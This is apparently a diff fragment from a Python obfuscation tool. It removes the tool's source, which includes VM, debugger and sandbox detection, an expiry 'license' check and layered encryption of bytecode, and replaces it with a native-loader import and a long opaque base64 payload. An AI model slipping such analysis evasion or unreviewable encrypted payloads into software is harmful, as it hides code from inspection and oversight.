- dead_code += var_template.format(i, random.randint(5, 50)) + "\n"
742
- else:
743
- dead_code += var_template.format(i) + "\n"
744
-
745
- return dead_code
746
-
747
- def time_protection(code, expiration_year=2025, max_time=3600):
748
- """Protection basée sur la date d'expiration avec interface graphique"""
749
- time_protection_code = f"""import time, datetime
750
- import tkinter as tk
751
- from tkinter import messagebox
752
-
753
- current_date = datetime.datetime.now()
754
- EXPIRATION_YEAR = {expiration_year}
755
-
756
- if current_date.year > EXPIRATION_YEAR:
757
- root = tk.Tk()
758
- root.withdraw()
759
- messagebox.showerror("Erreur Licence", f"Licence expirée\\nLe programme a expiré depuis le {{EXPIRATION_YEAR}}.")
760
- root.destroy()
761
- exit()
762
-
763
- def protected_execution():
764
- """
765
- return time_protection_code + "\n " + code.replace("\n", "\n ") + "\n\nprotected_execution()"
766
-
767
- class MultiLayerEncryption:
768
- """Chiffrement en plusieurs couches avec différents algorithmes"""
769
-
770
- def __init__(self, keys):
771
- self.keys = keys
772
-
773
- def xor_encrypt(self, data, key):
774
- """Chiffrement XOR simple mais efficace"""
775
- encrypted = bytearray()
776
- key_bytes = key.encode('utf-8')
777
- for i, byte in enumerate(data.encode('utf-8')):
778
- encrypted.append(byte ^ key_bytes[i % len(key_bytes)])
779
- return encrypted
780
-
781
- def caesar_cipher(self, data, shift):
782
- """Chiffrement César pour les strings"""
783
- result = ""
784
- for char in data:
785
- if char.isalpha():
786
- ascii_offset = 65 if char.isupper() else 97
787
- result += chr((ord(char) - ascii_offset + shift) % 26 + ascii_offset)
788
- else:
789
- result += char
790
- return result
791
-
792
- def multi_encrypt(self, data):
793
- """Chiffrement multi-couches"""
794
- # Couche 1: XOR
795
- layer1 = self.xor_encrypt(data, self.keys[0])
796
-
797
- # Couche 2: César
798
- layer2 = self.caesar_cipher(layer1.decode('latin-1'), 13)
799
-
800
- # Couche 3: Base64
801
- import base64
802
- layer3 = base64.b64encode(layer2.encode('utf-8')).decode()
803
-
804
- return layer3
805
-
806
- def advanced_anti_analysis(code):
807
- """Protections anti-reverse engineering avancées"""
808
-
809
- anti_analysis = """
810
- import sys, os, ctypes, platform, subprocess, hashlib
811
-
812
4
  try:
813
- def detect_vm():
814
- vm_indicators = [
815
- "vbox" in platform.machine().lower(),
816
- "vmware" in platform.machine().lower(),
817
- "qemu" in platform.machine().lower(),
818
- any(vm in platform.processor().lower() for vm in ['vmware', 'virtualbox', 'qemu']),
819
- os.path.exists(r"C:\\\\Program Files\\\\VMware"),
820
- os.path.exists(r"C:\\\\Program Files\\\\Oracle\\\\VirtualBox"),
821
- ]
822
- return any(vm_indicators)
823
-
824
- # Détection des debuggers
825
- def detect_debugger():
826
- try:
827
- return ctypes.windll.kernel32.IsDebuggerPresent() != 0
828
- except:
829
- return False
830
-
831
- # Détection des sandboxes
832
- def detect_sandbox():
833
- sandbox_processes = [
834
- "vmsrvc", "vmusrvc", "vboxtray", "vmtoolsd",
835
- "vmwaretray", "vmwareuser", "prl_tools", "xenservice"
836
- ]
837
- try:
838
- output = subprocess.check_output("tasklist", shell=True).decode().lower()
839
- return any(proc in output for proc in sandbox_processes)
840
- except:
841
- return False
842
-
843
- # Vérifications de sécurité
844
- if detect_vm() or detect_debugger() or detect_sandbox():
845
- try:
846
- import tkinter as tk
847
- from tkinter import messagebox
848
- root = tk.Tk()
849
- root.withdraw()
850
- messagebox.showerror("Sécurité", "Environnement non sécurisé détecté")
851
- root.destroy()
852
- except:
853
- print("Environnement non sécurisé détecté")
854
- sys.exit(1)
855
- except Exception:
856
- pass
857
- """
858
- return anti_analysis + code
859
-
860
- def minify_irreversible(code):
861
- """Minification irréversible du code Python - Préserve la syntaxe valide"""
862
- try:
863
- import ast
864
- # Vérifier que le code est valide
865
- tree = ast.parse(code)
866
- lines = code.split('\n')
867
- minified_lines = []
868
- for line in lines:
869
- # Supprimer les commentaires (hors string)
870
- l = line
871
- in_string = False
872
- new_line = ''
873
- i = 0
874
- while i < len(l):
875
- if l[i] in ('"', "'"):
876
- quote = l[i]
877
- new_line += l[i]
878
- i += 1
879
- while i < len(l) and l[i] != quote:
880
- new_line += l[i]
881
- i += 1
882
- if i < len(l):
883
- new_line += l[i]
884
- i += 1
885
- elif l[i] == '#':
886
- break # Commentaire trouvé, on coupe
887
- else:
888
- new_line += l[i]
889
- i += 1
890
- # Garder la ligne si elle n'est pas vide (après suppression commentaire)
891
- if new_line.strip():
892
- minified_lines.append(new_line.rstrip())
893
- minified_code = '\n'.join(minified_lines)
894
- return minified_code
895
- except Exception as e:
896
- print(f" [!] Erreur lors de la minification: {e}")
897
- return code
898
-
899
- def protect_with_loader(code):
900
- import sys, subprocess, os
901
- import pathlib
902
- # Compilation automatique du module natif pymloader si absent
903
- loader_dir = pathlib.Path(__file__).parent
904
- pymloader_c = loader_dir / 'pymloader.c'
905
- pymloader_ext = 'pymloader.pyd' if sys.platform.startswith('win') else 'pymloader.so'
906
- pymloader_bin = loader_dir / pymloader_ext
907
-
908
- if not pymloader_bin.exists() and pymloader_c.exists():
909
- print('[pyMetadidomi] Compilation du module natif pymloader...')
910
- try:
911
- if sys.platform.startswith('win'):
912
- # Utiliser MinGW64 depuis le vendor
913
- mingw_bin = r'd:\Metadidomi Crone\metadidomi-builder\build_tools\vendor\mingw64\bin'
914
- gcc_path = os.path.join(mingw_bin, 'gcc.exe')
915
-
916
- if not os.path.exists(gcc_path):
917
- print(f'[pyMetadidomi] MinGW64 non trouvé à {mingw_bin}. Tentative de setup.py...')
918
- # Fallback: utiliser setup.py avec setuptools
919
- subprocess.run([sys.executable, '-m', 'pip', 'install', 'pybind11', 'setuptools', 'wheel'],
920
- capture_output=True, check=False, timeout=60)
921
- setup_py = loader_dir / 'setup.py'
922
- if not setup_py.exists():
923
- setup_content = '''from setuptools import setup, Extension
924
- import sys
925
- module = Extension('pymloader', sources=['pymloader.c'], libraries=['libcrypto', 'libssl'])
926
- setup(name='pymloader', ext_modules=[module])
927
- '''
928
- with open(setup_py, 'w') as f:
929
- f.write(setup_content)
930
-
931
- subprocess.run([sys.executable, str(setup_py), 'build_ext', '--inplace'],
932
- cwd=str(loader_dir), capture_output=True, check=True, timeout=120)
933
- print('[pyMetadidomi] Module pymloader compilé avec setup.py')
934
- else:
935
- # Compiler avec MinGW64 (sans dépendance OpenSSL)
936
- python_include = os.path.join(sys.exec_prefix, 'include')
937
- # Chercher la bonne librairie Python (python311.lib ou .a)
938
- py_version = f"{sys.version_info.major}{sys.version_info.minor}"
939
- python_lib_dir = os.path.join(sys.exec_prefix, 'libs')
940
- python_lib = f"-lpython{py_version}"
941
- # Si python311.lib n'existe pas, essayer python3.11.a
942
- if not os.path.exists(os.path.join(python_lib_dir, f"python{py_version}.lib")):
943
- python_lib = f"-lpython{sys.version_info.major}.{sys.version_info.minor}"
944
- compile_cmd = [
945
- gcc_path, '-O2', '-shared', '-o', str(pymloader_bin), str(pymloader_c),
946
- f'-I{python_include}', f'-L{python_lib_dir}', python_lib
947
- ]
948
- env = os.environ.copy()
949
- env['PATH'] = mingw_bin + ';' + env.get('PATH', '')
950
- subprocess.run(compile_cmd, env=env, check=True, timeout=120)
951
- print('[pyMetadidomi] Module pymloader compilé avec MinGW64')
952
- else:
953
- # Linux/Mac (sans dépendance OpenSSL)
954
- subprocess.run(['gcc', '-O2', '-fPIC', '-shared', '-o', str(pymloader_bin), str(pymloader_c),
955
- f'-I{sys.exec_prefix}/include/python{sys.version_info.major}.{sys.version_info.minor}'],
956
- check=True, timeout=120)
957
- print('[pyMetadidomi] Module pymloader compilé avec GCC')
958
- except Exception as e:
959
- print(f'[pyMetadidomi] Attention: Compilation pymloader échouée ({e}). Utilisation du fallback (AES Python).')
960
- pymloader_bin = None
961
-
962
- # Préparation du bytecode chiffré
963
- import base64, zlib, marshal
964
- def pad(data):
965
- pad_len = 16 - (len(data) % 16)
966
- return data + bytes([pad_len] * pad_len)
967
-
968
- key = os.urandom(32)
969
- iv = os.urandom(16)
970
- compiled = compile(code, '<obfuscated>', 'exec')
971
- marshaled = marshal.dumps(compiled)
972
- compressed = zlib.compress(marshaled)
973
- # AES CBC (openssl compatible)
974
- from Crypto.Cipher import AES
5
+ import pymloader
6
+ payload = base64.b64decode("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